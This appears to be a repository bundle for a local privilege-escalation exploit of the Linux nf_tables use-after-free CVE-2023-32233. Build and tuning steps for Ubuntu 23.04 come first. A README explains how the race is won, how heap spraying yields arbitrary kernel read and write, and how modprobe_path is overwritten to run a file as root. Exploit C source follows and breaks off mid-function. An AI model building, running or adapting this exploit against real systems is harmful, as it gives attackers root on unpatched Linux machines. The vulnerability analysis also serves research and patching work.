├── exploit.md ├── README.md └── exploit.c /exploit.md: -------------------------------------------------------------------------------- 1 | # Building And Configuring 2 | 3 | The instructions below were tested under Ubuntu 23.04 (Lunar Lobster). 4 | 5 | 6 | ## Installing Build Dependencies 7 | 8 | Run the following command to install the build dependencies: 9 | 10 | ``` 11 | sudo apt install gcc libmnl-dev libnftnl-dev 12 | ``` 13 | 14 | 15 | ## Building Binary 16 | 17 | Run the following command to build the PoC binary: 18 | 19 | ``` 20 | gcc -Wall -o exploit exploit.c -lmnl -lnftnl 21 | ``` 22 | 23 | 24 | ## Updating Profile 25 | 26 | Built-in profile contains parameters specific to the Linux kernel distributed 27 | in binary form as the following packages from Ubuntu 23.04 (Lunar Lobster): 28 | 29 | * "linux-image-6.2.0-20-generic", version "6.2.0-20.20", and 30 | * "linux-modules-6.2.0-20-generic", version "6.2.0-20.20". 31 | 32 | The built-in profile looks like this: 33 | 34 | ``` 35 | 1 race_set_slab # {0,1} 36 | 1572 race_set_elem_count # k 37 | 4000 initial_sleep # ms 38 | 100 race_lead_sleep # ms 39 | 600 race_lag_sleep # ms 40 | 100 reuse_sleep # ms 41 | 39d240 free_percpu # hex 42 | 2a8b900 modprobe_path # hex 43 | 23700 nft_counter_destroy # hex 44 | 347a0 nft_counter_ops # hex 45 | a nft_counter_destroy_call_offset # hex 46 | ffffffff nft_counter_destroy_call_mask # hex 47 | e8e58948 nft_counter_destroy_call_check # hex 48 | ``` 49 | 50 | 51 | ### Kernel Symbols 52 | 53 | Optional steps to override the built-in profile when testing with other Linux 54 | kernels: 55 | 56 | ``` 57 | modprobe nf_tables 58 | egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile 59 | ``` 60 | 61 | 62 | ### Machine Code 63 | 64 | In order to find the kernel base we examine the `nf_tables.ko` image in the 65 | kernel memory. And specifically, we analyse the machine code of 66 | nft_counter_destroy() subroutine. This means that our method is sensitive to 67 | the compiler as well as the compilation options. However, all the usual cases 68 | can be handled by overriding the built-in profile. 69 | 70 | For example, the machine code of nft_counter_destroy() subroutine may look 71 | like this: 72 | 73 | ``` 74 | 000000000001e310 : 75 | 1e310: f3 0f 1e fa endbr64 76 | 1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8] 77 | 1e318: e9 00 00 00 00 jmp 78 | 1e31d: 0f 1f 00 nop DWORD PTR [rax] 79 | ``` 80 | 81 | In the above case we can specify a few parameters by appending the three 82 | lines below to the configuration file "profile". 83 | 84 | First, we redefine the offset of the dword preceding the `free_percpu` 85 | displacement: 86 | 87 | ``` 88 | 5 nft_counter_destroy_call_offset # hex 89 | ``` 90 | 91 | where the value `5` was computed using the expression `(1e31d - 1e310) - 8`. 92 | 93 | As a sanity check, we then validate the dword at the above offset using the 94 | following mask: 95 | 96 | ``` 97 | ffffffff nft_counter_destroy_call_mask # hex 98 | ``` 99 | 100 | expecting the following value: 101 | 102 | ``` 103 | e9087e8b nft_counter_destroy_call_check # hex 104 | ``` 105 | 106 | 107 | ### Race Tuning 108 | 109 | Exploiting the vulnerability requires winning a race with background worker 110 | thread from the Linux kernel. The built-in profile has been tuned to maximise 111 | the chance of winning that race on a broad range of Intel microprocessors 112 | including mobile Sandy Bridge and desktop Comet Lake. However, some 113 | microprocessors require additional tuning. For example, we observed increased 114 | latency to switch tasks under Alder Lake in certain setups, where it may be 115 | necessary to append the following line to "profile": 116 | 117 | ``` 118 | 400 race_lead_sleep 119 | ``` 120 | 121 | We measured probability of 80% or better to successfully exploit the 122 | vulnerability in our tests that used idle bare-metal systems. 123 | 124 | 125 | ## Testing Recommendations 126 | 127 | Once the PoC is started on a vulnerable system, it may leave that system in 128 | an unstable state with corrupted kernel memory. We strongly recommend to test 129 | the PoC on a dedicated system to avoid potential data corruptions. 130 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Use-After-Free in Netfilter nf_tables when processing batch requests 2 | 3 | ## Demo 4 | ![Demo_CVE-2023-32233](https://github.com/oferchen/POC-CVE-2023-32233/assets/2979247/9f694ca9-9e1c-4b7c-ae6c-9bdeac6f01d1) 5 | 6 | ## Vulnerability Details 7 | 8 | The affected code originates from the official Linux kernel from 9 | https://kernel.org/ and is part of the Netfilter nf_tables component 10 | (net/netfilter/nf_tables_api.c). 11 | 12 | Netfilter nf_tables allows to update its configuration as an atomic 13 | operation. When using this feature, the user-mode clients send batch requests 14 | containing a list of basic operations. Netfilter nf_tables then processes all 15 | the operations within the batch as single transaction. When processing the 16 | batch, Netfilter nf_tables then checks the configuration state updates to 17 | ensure that each successive basic operation is valid and this also accounts 18 | for the state updates from all the previous operations within the batch. 19 | However, the currently implemented check is insufficient. 20 | 21 | In our specific scenario we start with a Netfilter nf_tables configuration 22 | that has an `nft_rule` with `lookup` expression on anonymous `nft_set`, and 23 | where the anonymous `nft_set` contains some elements. Next, we send a batch 24 | request containing the following two basic operations: 25 | 26 | 1. `NFT_MSG_DELRULE` operation to delete the `nft_rule`. 27 | Note that this also implicitly deletes the `lookup` expression and the 28 | anonymous `nft_set`. 29 | 2. `NFT_MSG_DELSETELEM` operation to delete any of the elements of the 30 | deleted anonymous `nft_set`. 31 | 32 | The current version of Netfilter nf_tables accepts the above batch request. 33 | It then calls nf_tables_commit_release() that appends released resources to 34 | `nf_tables_destroy_list`. The `nf_tables_destroy_list` is then processed by 35 | nf_tables_trans_destroy_work() that first deallocates resources related to 36 | `NFT_MSG_DELRULE` operation by calling: 37 | 38 | nft_commit_release() 39 | nf_tables_rule_destroy() 40 | nf_tables_expr_destroy() 41 | expr->ops->destroy() that points to nft_lookup_destroy() 42 | nf_tables_destroy_set() 43 | nft_set_destroy() 44 | kvfree() that deallocates memory used by `nft_set` 45 | 46 | before processing `NFT_MSG_DELSETELEM` operation, where reference to the 47 | deallocated `nft_set` is accessed via nft_trans_elem_set() during the 48 | following calls: 49 | 50 | nft_commit_release() 51 | nf_tables_set_elem_destroy() 52 | nft_set_elem_ext() 53 | 54 | Within nft_set_elem_ext() above, the memory location of the deallocated 55 | `nft_set` is accessed to determine location of `nft_set_ext`: 56 | 57 | static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set, 58 | void *elem) 59 | { 60 | return elem + set->ops->elemsize; 61 | } 62 | 63 | for the operations that follow. So whenever the value of `set->ops->elemsize` 64 | gets corrupted, certain unexpected memory location could be interpreted as 65 | list of `nft_expr` to be destroyed: 66 | 67 | static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx, 68 | const struct nft_set *set, void *elem) 69 | { 70 | struct nft_set_ext *ext = nft_set_elem_ext(set, elem); 71 | 72 | if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS)) 73 | nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); 74 | 75 | 76 | ## Exploitation Techniques 77 | 78 | Exploiting the above vulnerability requires winning a race with 79 | nf_tables_trans_destroy_work() that executes from background worker thread 80 | from the Linux kernel. This seems to complicate practical exploitation even 81 | before we consider existing mitigations, such as hardening of kernel slab 82 | allocator, Kernel Address Space Layout Randomization (KASLR) and especially 83 | Control-Flow Integrity. However, the attached PoC proves that it is still 84 | possible to achieve reasonably reliable exploitation in practice. 85 | 86 | In order to exploit the vulnerability we need to modify content of memory 87 | from `nft_set` after it is deallocated under nf_tables_rule_destroy(), but 88 | before it is used under nf_tables_set_elem_destroy(). Both 89 | nf_tables_rule_destroy() and nf_tables_set_elem_destroy() are called within 90 | single invocation of nf_tables_trans_destroy_work() that executes from 91 | background worker thread from the Linux kernel. Further, the deallcated 92 | memory chunk is usually available for reuse only from the same CPU core. 93 | 94 | When racing with nf_tables_trans_destroy_work(), we improve our chances by 95 | adding a controlled delay for the background worker thread between it calls 96 | nf_tables_rule_destroy() and nf_tables_set_elem_destroy(). For that we insert 97 | an additional operation to destroy another `nft_set` containing a large 98 | number of elements. Additionally, we keep all the other CPU cores busy, such 99 | that the background worker thread is likely to be scheduled on a specific CPU 100 | core, so we can attempt to allocate a new structure from the same CPU core 101 | just after it deallocates `nft_set` under nf_tables_rule_destroy(). Our goal 102 | is to allocate a new `nft_set` of different type to reuse memory location of 103 | the `nft_set` deallocated under nf_tables_rule_destroy(). 104 | 105 | The new `nft_set` type is selected to use a different value for 106 | `set->ops->elemsize`. So when the background worker thread finally calls 107 | nf_tables_set_elem_destroy() to process `NFT_MSG_DELSETELEM` operation, it 108 | interprets its `elem` argument incorrectly, such that the corrupted 109 | `nft_set_ext *ext` is a few bytes after the correct location. This means that 110 | certain user-controlled data field of the original `nft_set_ext` are now 111 | interpreted as headers, resulting with type confusion. 112 | 113 | One way to abuse this type confusion is by crafting the corrupted 114 | `nft_set_ext` headers with offsets values such that 115 | nf_tables_set_elem_destroy() interprets content of any adjacent memory blocks 116 | as the list of `nft_expr` to destroy via the following calls: 117 | 118 | nft_set_elem_expr_destroy() 119 | __nft_set_elem_expr_destroy() 120 | nf_tables_expr_destroy() 121 | expr->ops->destroy() 122 | 123 | At this point of exploitation, we do not yet have details of the kernel 124 | memory layout. So it is not possible to craft absolute pointer addresses. 125 | However, when crafting the corrupted `nft_set_ext` headers we can still use 126 | out-of-range offsets, such that `expr->ops->destroy()` is called on certain 127 | valid `nft_expr` in the adjacent memory chunks. 128 | 129 | For this we spray `nft_log` expressions, with controlled NFTA_LOG_PREFIX. 130 | That `nft_log->prefix` is then deallocated by nft_log_destroy() once 131 | `expr->ops->destroy()` is called: 132 | 133 | static void nft_log_destroy(const struct nft_ctx *ctx, 134 | const struct nft_expr *expr) 135 | { 136 | struct nft_log *priv = nft_expr_priv(expr); 137 | struct nf_loginfo *li = &priv->loginfo; 138 | 139 | if (priv->prefix != nft_log_null_prefix) 140 | kfree(priv->prefix); 141 | 142 | Note that we can still access and even again deallocate this memory via the 143 | other reference from the sprayed `nft_log` expression. 144 | 145 | Additionally, we can also control the size of `nft_log->prefix`, such that it 146 | can be allocated from any of the slabs kmalloc-{8, ..., 192}. Finally, the 147 | refereed memory is interpreted as a string of characters by the kernel, so no 148 | need to worry about corruptions when we overlay different objects over it. 149 | This is essentially game over. 150 | 151 | One inconvenience is that any NULL characters terminate `nft_log->prefix`, so 152 | we cannot read past NULL bytes when leaking memory content. This is addressed 153 | in the next step, where we allocate `nft_object->udata` to reuse 154 | `nft_log->prefix` memory chunk and destroy the `nft_log` expression. This 155 | deallocates `nft_object->udata` memory, but now we can still use the 156 | `nft_object->udata` dangling pointer to leak memory content without 157 | restrictions on NULL bytes. 158 | 159 | Looking for suitable structures for the following steps, we decided on 160 | `nft_expr` allocated from nft_dynset_new(). These live in the same slabs as 161 | `nft_log->prefix` and `nft_object->udata`. And also, we have reasonable 162 | control over the allocation size, such that later we could easily switch 163 | between slabs of different size if needed. 164 | 165 | To use these structures, we create packet filter with `nft_dynset` 166 | expression. And when we send any packets over the loopback interface, 167 | `nft_dynset` expression calls nft_dynset_new() to create new elements for the 168 | associated `nft_set`. The created elements are stateful expressions of the 169 | following types: 170 | 171 | * `nft_counter` to obtain the location of `nf_tables.ko` in kernel memory. 172 | The structure includes a pointer to `nft_counter_ops` in `nf_tables.ko` 173 | kernel module. We leak this pointer by reading `nft_object->udata`. 174 | * `nft_quota` for arbitrary memory read and write. 175 | We can repeatedly deallocate and reallocate `nft_object->udata` to modify 176 | the `nft_quota->consumed` pointer. Next, we perform `NFT_MSG_GETSETELEM` 177 | operation that calls nft_quota_do_dump() to read the content of the 178 | referenced memory and passes the result as `NFTA_QUOTA_CONSUMED` 179 | attribute in the result. As for writes, we simply send packets over the 180 | loopback interface, where nft_quota_do_eval() calls: 181 | 182 | static inline bool nft_overquota(struct nft_quota *priv, 183 | const struct sk_buff *skb) 184 | { 185 | return atomic64_add_return(skb->len, priv->consumed) >= 186 | 187 | to modify `nft_quota->consumed`. 188 | 189 | We use the above arbitrary memory read to obtain base address of the kernel 190 | core. And then we proceed to modify "sbin" substring of "/sbin/modprobe" 191 | pathname, so it is replaced with "/tmp". The resulting pathname 192 | "//tmp/modprobe" is then used by the kernel to start a process with root 193 | privileges, where we control the file content. 194 | 195 | Note that we didn't put any intentional effort to bypass Control-Flow 196 | Integrity. However, for each of the exploitation steps, we consciously picked 197 | the most flexible and the most robust primitives. Turns-out, that our 198 | selection somehow avoided any of the primitives that could potentially be 199 | blocked by Control-Flow Integrity. We are now curious to confirm with testing 200 | that the resulting exploit really works against systems with Control-Flow 201 | Integrity mitigations. 202 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * 3 | * Please read EXPLOIT.md carefully before using. 4 | * 5 | */ 6 | 7 | 8 | #define _GNU_SOURCE 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | 40 | uint64_t cfg_race_set_slab = 1; 41 | uint64_t cfg_race_set_elem_count = 0x300 * 0x800; 42 | 43 | useconds_t cfg_initial_usleep = 4 * 1000 * 1000; 44 | useconds_t cfg_race_lead_usleep = 100 * 1000; 45 | useconds_t cfg_race_lag_usleep = 600 * 1000; 46 | useconds_t cfg_reuse_usleep = 100 * 1000; 47 | 48 | 49 | /* 50 | * Specific to the Linux kernel distributed in binary form as the following 51 | * packages from Ubuntu 23.04 (Lunar Lobster): 52 | * * "linux-image-6.2.0-20-generic", version "6.2.0-20.20", and 53 | * * "linux-modules-6.2.0-20-generic", version "6.2.0-20.20". 54 | */ 55 | 56 | uint64_t cfg_free_percpu = 0xffffffffa419d240 - 0xffffffffa3e00000; 57 | uint64_t cfg_modprobe_path = 0xffffffffa688b900 - 0xffffffffa3e00000; 58 | uint64_t cfg_nft_counter_destroy = 0xffffffffc06a3700 - 0xffffffffc0680000; 59 | uint64_t cfg_nft_counter_ops = 0xffffffffc06b47a0 - 0xffffffffc0680000; 60 | 61 | /* 62 | 0000000000023700 : 63 | 23700: e8 00 00 00 00 call <__fentry__> 64 | 23705: 55 push rbp 65 | 23706: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8] 66 | 2370a: 48 89 e5 mov rbp,rsp 67 | 2370d: e8 00 00 00 00 call 68 | 23712: 5d pop rbp 69 | 23713: 31 f6 xor esi,esi 70 | 23715: 31 ff xor edi,edi 71 | 23717: e9 00 00 00 00 jmp <__x86_return_thunk> 72 | */ 73 | uint64_t cfg_nft_counter_destroy_call_offset = (0x23712 - 0x23700) - 8; 74 | uint64_t cfg_nft_counter_destroy_call_mask = 0xffffffff; 75 | uint64_t cfg_nft_counter_destroy_call_check = 0xe8e58948; 76 | 77 | 78 | #define uaf_chunk_size 0x80 79 | #define mnl_batch_limit (1024 * 1024) 80 | 81 | 82 | char mnl_batch_buffer[2 * mnl_batch_limit]; 83 | 84 | 85 | char uaf_set_key[8 + 0x34]; 86 | char log_prefix[0x100]; 87 | 88 | 89 | static void cfg_print() 90 | { 91 | printf("\nUsing profile:\n========\n"); 92 | 93 | printf("%-19ld race_set_slab # {0,1}\n", cfg_race_set_slab); 94 | printf("%-19ld race_set_elem_count # k\n", cfg_race_set_elem_count / 1000); 95 | 96 | printf("%-19d initial_sleep # ms\n", cfg_initial_usleep / 1000); 97 | printf("%-19d race_lead_sleep # ms\n", cfg_race_lead_usleep / 1000); 98 | printf("%-19d race_lag_sleep # ms\n", cfg_race_lag_usleep / 1000); 99 | printf("%-19d reuse_sleep # ms\n", cfg_reuse_usleep / 1000); 100 | 101 | printf("%-19lx free_percpu # hex\n", cfg_free_percpu); 102 | printf("%-19lx modprobe_path # hex\n", cfg_modprobe_path); 103 | printf("%-19lx nft_counter_destroy # hex\n", cfg_nft_counter_destroy); 104 | printf("%-19lx nft_counter_ops # hex\n", cfg_nft_counter_ops); 105 | 106 | printf("%-19lx nft_counter_destroy_call_offset # hex\n", cfg_nft_counter_destroy_call_offset); 107 | printf("%-19lx nft_counter_destroy_call_mask # hex\n", cfg_nft_counter_destroy_call_mask); 108 | printf("%-19lx nft_counter_destroy_call_check # hex\n", cfg_nft_counter_destroy_call_check); 109 | 110 | printf("========\n\n"); 111 | } 112 | 113 | 114 | int cfg_load_line(char *line) 115 | { 116 | char *saveptr = NULL; 117 | char *value = strtok_r(line, "\t ", &saveptr); 118 | if (value == NULL) { 119 | return EFAULT; 120 | } 121 | 122 | char *key = NULL; 123 | do { 124 | key = strtok_r(NULL, "\t\n ", &saveptr); 125 | if (key == NULL) { 126 | return EFAULT; 127 | } 128 | } while (strlen(key) < 2); 129 | 130 | errno = 0; 131 | 132 | if (strcmp(key, "race_set_slab") == 0) { 133 | cfg_race_set_slab = strtoul(value, NULL, 0); 134 | } 135 | else if (strcmp(key, "race_set_elem_count") == 0) { 136 | cfg_race_set_elem_count = 1000L * strtoul(value, NULL, 0); 137 | } 138 | else if (strcmp(key, "initial_sleep") == 0) { 139 | cfg_initial_usleep = 1000L * strtoul(value, NULL, 0); 140 | } 141 | else if (strcmp(key, "race_lead_sleep") == 0) { 142 | cfg_race_lead_usleep = 1000L * strtoul(value, NULL, 0); 143 | } 144 | else if (strcmp(key, "race_lag_sleep") == 0) { 145 | cfg_race_lag_usleep = 1000L * strtoul(value, NULL, 0); 146 | } 147 | else if (strcmp(key, "reuse_sleep") == 0) { 148 | cfg_reuse_usleep = 1000L * strtoul(value, NULL, 0); 149 | } 150 | else if (strcmp(key, "free_percpu") == 0) { 151 | cfg_free_percpu = strtoul(value, NULL, 16); 152 | } 153 | else if (strcmp(key, "modprobe_path") == 0) { 154 | cfg_modprobe_path = strtoul(value, NULL, 16); 155 | } 156 | else if (strcmp(key, "nft_counter_destroy") == 0) { 157 | cfg_nft_counter_destroy = strtoul(value, NULL, 16); 158 | } 159 | else if (strcmp(key, "nft_counter_ops") == 0) { 160 | cfg_nft_counter_ops = strtoul(value, NULL, 16); 161 | } 162 | else if (strcmp(key, "nft_counter_destroy_call_offset") == 0) { 163 | cfg_nft_counter_destroy_call_offset = strtoul(value, NULL, 16); 164 | } 165 | else if (strcmp(key, "nft_counter_destroy_call_mask") == 0) { 166 | cfg_nft_counter_destroy_call_mask = strtoul(value, NULL, 16); 167 | } 168 | else if (strcmp(key, "nft_counter_destroy_call_check") == 0) { 169 | cfg_nft_counter_destroy_call_check = strtoul(value, NULL, 16); 170 | } 171 | else { 172 | errno = ENOENT; 173 | } 174 | 175 | return errno; 176 | } 177 | 178 | 179 | static void cfg_load(char *path) 180 | { 181 | FILE *stream = fopen(path, "r"); 182 | if (stream != NULL) { 183 | char *line = NULL; 184 | size_t len = 0; 185 | ssize_t nread; 186 | 187 | while ((nread = getline(&line, &len, stream)) != -1) { 188 | printf("[*] Profile line: %s", line); 189 | if (cfg_load_line(line) != 0) { 190 | printf("[!] ERROR\n"); 191 | } 192 | } 193 | fclose(stream); 194 | } 195 | } 196 | 197 | 198 | void hex_dump(const char *data, ssize_t size) 199 | { 200 | if (size <= 0) { 201 | printf("\n*** empty ***\n"); 202 | } 203 | else { 204 | char hex_buf[0x40]; 205 | char ascii_buf[0x20]; 206 | ssize_t ix = 0; 207 | int pos = 0; 208 | 209 | do { 210 | unsigned char byte = data[ix]; 211 | 212 | sprintf(hex_buf + 3 * pos, "%02x ", byte); 213 | ascii_buf[pos] = ((0x20 <= byte) && (byte < 0x7e))? byte: '.'; 214 | 215 | ++ ix; 216 | ++ pos; 217 | if ((ix == size) || (pos == 0x10)) { 218 | ascii_buf[pos] = 0; 219 | printf("\n%04lx: %-48s | %s", ix - pos, hex_buf, ascii_buf); 220 | pos = 0; 221 | } 222 | } while (ix < size); 223 | printf("\n"); 224 | } 225 | } 226 | 227 | 228 | void file_write(char *path, int flags, mode_t mode, char *content, size_t content_size) 229 | { 230 | int res; 231 | 232 | int fd = open(path, flags, mode); 233 | if (fd == -1) { 234 | err(1, "Cannot into open()"); 235 | } 236 | 237 | ssize_t size = write(fd, content, content_size); 238 | if (size != content_size) { 239 | err(1, "Cannot into write()"); 240 | } 241 | 242 | res = close(fd); 243 | if (res != 0) { 244 | err(1, "Cannot into close()"); 245 | } 246 | } 247 | 248 | 249 | static void append_del_set(struct mnl_nlmsg_batch *batch, uint32_t seq, 250 | uint32_t family, char *table_name, char *set_name) 251 | { 252 | struct nftnl_set *set = nftnl_set_alloc(); 253 | if (set == NULL) { 254 | errx(1, "Cannot into nftnl_set_alloc()"); 255 | } 256 | 257 | nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family); 258 | nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name); 259 | nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); 260 | 261 | struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( 262 | mnl_nlmsg_batch_current(batch), 263 | NFT_MSG_DELSET, 264 | NFPROTO_INET, 265 | NLM_F_ACK, 266 | seq 267 | ); 268 | nftnl_set_nlmsg_build_payload(nlh, set); 269 | mnl_nlmsg_batch_next(batch); 270 | 271 | nftnl_set_free(set); 272 | } 273 | 274 | 275 | static void append_new_obj(struct mnl_nlmsg_batch *batch, uint32_t seq, 276 | uint32_t family, char *table_name, char *obj_name, 277 | char *obj_userdata, uint32_t obj_userdata_len) 278 | { 279 | struct nftnl_obj *obj = nftnl_obj_alloc(); 280 | if (obj == NULL) { 281 | errx(1, "Cannot into nftnl_obj_alloc()"); 282 | } 283 | 284 | nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family); 285 | nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); 286 | nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); 287 | nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); 288 | if (obj_userdata) { 289 | nftnl_obj_set_data(obj, NFTNL_OBJ_USERDATA, obj_userdata, obj_userdata_len); 290 | } 291 | 292 | struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 293 | mnl_nlmsg_batch_current(batch), 294 | NFT_MSG_NEWOBJ, 295 | family, 296 | NLM_F_ACK, 297 | seq++ 298 | ); 299 | nftnl_obj_nlmsg_build_payload(nlh, obj); 300 | nftnl_obj_free(obj); 301 | mnl_nlmsg_batch_next(batch); 302 | } 303 | 304 | 305 | static void append_del_obj(struct mnl_nlmsg_batch *batch, uint32_t seq, 306 | uint32_t family, char *table_name, char *obj_name) 307 | { 308 | struct nftnl_obj *obj = nftnl_obj_alloc(); 309 | if (obj == NULL) { 310 | errx(1, "Cannot into nftnl_obj_alloc()"); 311 | } 312 | 313 | nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family); 314 | nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); 315 | nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); 316 | nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); 317 | 318 | struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 319 | mnl_nlmsg_batch_current(batch), 320 | NFT_MSG_DELOBJ, 321 | family, 322 | NLM_F_ACK, 323 | seq++ 324 | ); 325 | nftnl_obj_nlmsg_build_payload(nlh, obj); 326 | nftnl_obj_free(obj); 327 | mnl_nlmsg_batch_next(batch); 328 | } 329 | 330 | 331 | static void append_del_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, 332 | uint32_t family, char *table_name, char *chain_name, uint64_t rule_handle) 333 | { 334 | struct nftnl_rule *rule = nftnl_rule_alloc(); 335 | if (rule == NULL) { 336 | errx(1, "Cannot into nftnl_rule_alloc()"); 337 | } 338 | 339 | nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name); 340 | nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); 341 | nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family); 342 | if (rule_handle != -1) { 343 | nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, rule_handle); 344 | } 345 | 346 | struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( 347 | mnl_nlmsg_batch_current(batch), 348 | NFT_MSG_DELRULE, 349 | family, 350 | NLM_F_ACK, 351 | seq 352 | ); 353 | nftnl_rule_nlmsg_build_payload(nlh, rule); 354 | mnl_nlmsg_batch_next(batch); 355 | 356 | nftnl_rule_free(rule); 357 | } 358 | 359 | 360 | uint32_t pwn_family = NFPROTO_INET; 361 | char *pwn_table = "testfirewall"; 362 | 363 | char *pwn_lookup_set = "set_A"; 364 | char *pwn_lookup_chain = "OUTPUT"; 365 | 366 | char *pwn_log_chain = "INPUT"; 367 | 368 | char *pwn_dynset_set = "set_dyn"; 369 | char *pwn_dynset_chain = "chain_dyn"; 370 | 371 | 372 | static void pwn_create_table(struct mnl_nlmsg_batch *batch, uint32_t seq) 373 | { 374 | struct nftnl_table *table = nftnl_table_alloc(); 375 | if (table == NULL) { 376 | errx(1, "Cannot into nftnl_table_alloc()"); 377 | } 378 | 379 | nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, pwn_family); 380 | nftnl_table_set_str(table, NFTNL_TABLE_NAME, pwn_table); 381 | 382 | struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr( 383 | mnl_nlmsg_batch_current(batch), 384 | NFT_MSG_NEWTABLE, 385 | pwn_family, 386 | NLM_F_CREATE | NLM_F_ACK, 387 | seq 388 | ); 389 | nftnl_table_nlmsg_build_payload(nlh, table); 390 | mnl_nlmsg_batch_next(batch); 391 | 392 | nftnl_table_free(table); 393 | } 394 | 395 | 396 | static void pwn_create_set(struct mnl_nlmsg_batch *batch, uint32_t seq, 397 | char *set_name, uint32_t set_id, uint32_t set_flags, 398 | uint32_t set_key_len, uint32_t set_desc_size, 399 | void *set_userdata, uint32_t set_userdata_len) 400 | { 401 | struct nftnl_set *set = nftnl_set_alloc(); 402 | if (set == NULL) { 403 | errx(1, "Cannot into nftnl_set_alloc()"); 404 | } 405 | 406 | nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); 407 | nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); 408 | nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); 409 | nftnl_set_set_u32(set, NFTNL_SET_ID, set_id); 410 | nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags); 411 | nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len); 412 | if (set_desc_size != 0) { 413 | nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size); 414 | } 415 | if (set_userdata != NULL) { 416 | nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len); 417 | } 418 | 419 | struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( 420 | mnl_nlmsg_batch_current(batch), 421 | NFT_MSG_NEWSET, 422 | pwn_family, 423 | NLM_F_CREATE | NLM_F_ACK, 424 | seq 425 | ); 426 | nftnl_set_nlmsg_build_payload(nlh, set); 427 | mnl_nlmsg_batch_next(batch); 428 | 429 | nftnl_set_free(set); 430 | } 431 | 432 | 433 | static void pwn_create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, 434 | char *chain_name) 435 | { 436 | struct nftnl_chain *chain = nftnl_chain_alloc(); 437 | if (chain == NULL) { 438 | errx(1, "Cannot into nftnl_chain_alloc()"); 439 | } 440 | 441 | nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family); 442 | nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); 443 | nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); 444 | 445 | struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( 446 | mnl_nlmsg_batch_current(batch), 447 | NFT_MSG_NEWCHAIN, 448 | pwn_family, 449 | NLM_F_CREATE | NLM_F_ACK, 450 | seq 451 | ); 452 | nftnl_chain_nlmsg_build_payload(nlh, chain); 453 | mnl_nlmsg_batch_next(batch); 454 | 455 | nftnl_chain_free(chain); 456 | } 457 | 458 | 459 | static void pwn_create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq, 460 | char *set_name, 461 | void *set_elem_key, uint32_t set_elem_key_len) 462 | { 463 | char set_elem_userdata[0x2f] = {}; 464 | 465 | struct nftnl_set *set = nftnl_set_alloc(); 466 | if (set == NULL) { 467 | errx(1, "Cannot into nftnl_set_alloc()"); 468 | } 469 | 470 | nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); 471 | nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); 472 | nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); 473 | 474 | struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); 475 | if (set_elem == NULL) { 476 | errx(1, "Cannot into nftnl_set_elem_alloc()"); 477 | } 478 | 479 | nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len); 480 | nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata)); 481 | 482 | nftnl_set_elem_add(set, set_elem); 483 | 484 | struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 485 | mnl_nlmsg_batch_current(batch), 486 | NFT_MSG_NEWSETELEM, 487 | NFPROTO_INET, 488 | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, 489 | seq 490 | ); 491 | nftnl_set_elems_nlmsg_build_payload(nlh, set); 492 | mnl_nlmsg_batch_next(batch); 493 | 494 | nftnl_set_free(set); 495 | } 496 | 497 | 498 | static void pwn_create_lookup_rule(struct 